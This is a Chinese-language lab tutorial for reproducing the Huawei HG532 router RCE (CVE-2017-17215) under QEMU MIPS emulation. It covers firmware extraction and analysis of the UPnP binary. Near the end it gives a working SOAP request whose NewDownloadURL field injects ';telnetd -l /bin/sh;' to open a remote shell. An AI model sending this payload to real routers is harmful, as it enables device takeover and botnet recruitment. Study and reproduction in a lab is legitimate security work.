华为HG532路由器RCE漏洞
字数 953 2025-08-29 22:41:10
华为HG532路由器RCE漏洞(CVE-2017-17215)复现教程
漏洞概述
CVE-2017-17215是CheckPoint团队披露的华为HG532路由器远程命令执行(RCE)漏洞,存在于设备的UPnP(Universal Plug and Play)服务中。具体漏洞位于DeviceUpgrade SOAP接口,由于对NewDownloadURL参数处理不当,攻击者可通过精心构造的请求注入任意命令。
复现环境准备
系统要求
- Ubuntu 20.04 TLS (推荐)或Ubuntu 22.04
- 注意:不同Ubuntu版本可能遇到不同问题
工具安装
-
QEMU (用于模拟MIPS环境):
sudo apt-get install qemu qemu-system qemu-user-static -
固件分析工具:
sudo apt-get install binwalk -
SquashFS解压工具:
git clone https://github.com/devttys0/sasquatch cd sasquatch sudo ./build.sh -
网络工具:
sudo apt-get install bridge-utils uml-utilities sudo sysctl -w net.ipv4.ip_forward=1
网络配置
-
编辑网络接口配置文件
/etc/network/interfaces,根据实际情况修改接口名称(可能是ens33或eth0):auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_stp off bridge_maxwait 0 -
重启网络服务:
sudo service networking restart
固件提取与分析
-
使用binwalk递归扫描提取固件:
binwalk -Me HG532固件文件 -
如果遇到"capstone没有ARM64属性"错误:
- 修改相关py文件,将ARM64替换为ARM
- 在Ubuntu 20.04上通常不会报错,22.04可能遇到此问题
-
如果提取的文件系统为空,使用sasquatch重新解压
QEMU仿真环境搭建
-
下载MIPS仿真所需文件:
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 -
创建启动脚本
start.sh:#!/bin/bash qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -
给脚本执行权限并运行:
chmod +x start.sh ./start.sh -
登录QEMU虚拟机(默认用户名密码均为root)
漏洞分析
-
漏洞文件位于
/bin/upnp,是32位MIPS大端序程序,无任何保护机制 -
使用IDA分析
upnp二进制文件:- 搜索字符串
NewDownloadURL和NewStatusURL - 创建函数进行反编译分析
- 搜索字符串
-
漏洞原理:
- 程序对输入标签直接使用
system命令执行 - 可通过
;{cmd};格式进行命令拼接实现RCE
- 程序对输入标签直接使用
漏洞复现步骤
-
将提取的文件系统根目录替换原始镜像的根目录
-
查找UPnP服务端口:
grep -r '37215' /bin/mic -
启动UPnP服务:
/bin/mic -
验证端口是否开放:
nc -vv 192.168.102.143 37215 -
构造并发送PoC利用代码:
<?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewDownloadURL>;telnetd -l /bin/sh;</NewDownloadURL> <NewStatusURL>;</NewStatusURL> <NewUsername>;</NewUsername> </u:Upgrade> </SOAP-ENV:Body> </SOAP-ENV:Envelope> -
成功执行后,可通过telnet连接路由器获取shell
参考链接
- 漏洞披露: CheckPoint研究报告
- QEMU镜像下载: Debian MIPS镜像